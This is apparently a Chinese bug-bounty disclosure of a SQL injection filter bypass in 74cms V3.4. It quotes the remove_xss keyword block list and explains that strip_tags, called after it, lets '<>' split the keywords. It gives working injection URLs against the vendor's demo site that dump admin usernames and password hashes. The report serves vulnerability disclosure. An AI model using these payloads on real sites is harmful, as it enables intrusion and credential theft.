2014-07-31: 细节已通知厂商并且等待厂商处理中 2014-08-01: 厂商已经确认,细节仅向厂商公开 2014-08-11: 细节向核心白帽子及相关领域专家公开 2014-08-21: 细节向普通白帽子公开 2014-08-31: 细节向实习白帽子公开 2014-09-14: 细节向公众公开
74cms V3.4.20140709
先看remove_xss 函数 include/common.fun.php:
function remove_xss($string) { $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string); $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base'); $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload'); $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','update','insert','delete','create','alter','drop','truncate'); //关键字过滤 $parm = array_merge($parm1, $parm2, $parm3); for ($i = 0; $i < sizeof($parm); $i++) { $pattern = '/'; for ($j = 0; $j < strlen($parm[$i]); $j++) { if ($j > 0) { $pattern .= '('; $pattern .= '(&#[x|X]0([9][a][b]);?)?'; $pattern .= '|(�([9][10][13]);?)?'; $pattern .= ')?'; } $pattern .= $parm[$i][$j]; } $pattern .= '/i'; $string = preg_replace($pattern, '****', $string); //替换为4个星号 } return $string;}
再看 remove_xss函数调用地方:
function mystrip_tags($string){ $string = remove_xss($string); $string = new_html_special_chars($string); $string = strip_tags($string);//remove_xss在strip_tags之前调用,所以很明显可以利用strip_tags函数绕过,在关键字中插入html标记. return $string;}
过分依赖过滤函数迟早会出问题,还是老老实实从源头上修补吧。
回看 WooYun: 74cms 最新版 注入8-9 官方demo演示:
http://demo.74cms.com/plus/ajax_common.php?act=hotword&query=錦' a<>nd 1=2 un<>ion sel<>ect 1,group_concat(admin_name,0x3a,pwd,0x3a,pwd_hash),3 fr<>om qs_admin%23
http://demo.74cms.com/plus/ajax_officebuilding.php?act=key&key=錦' a<>nd 1=2 un<>ion sel<>ect 1,2,3,user(),5,6,7,8,9%23
顺带着狗狗也被绕过.
你懂de.
危害等级:高
漏洞Rank:20
确认时间:2014-08-01 10:40
感谢反馈!
暂无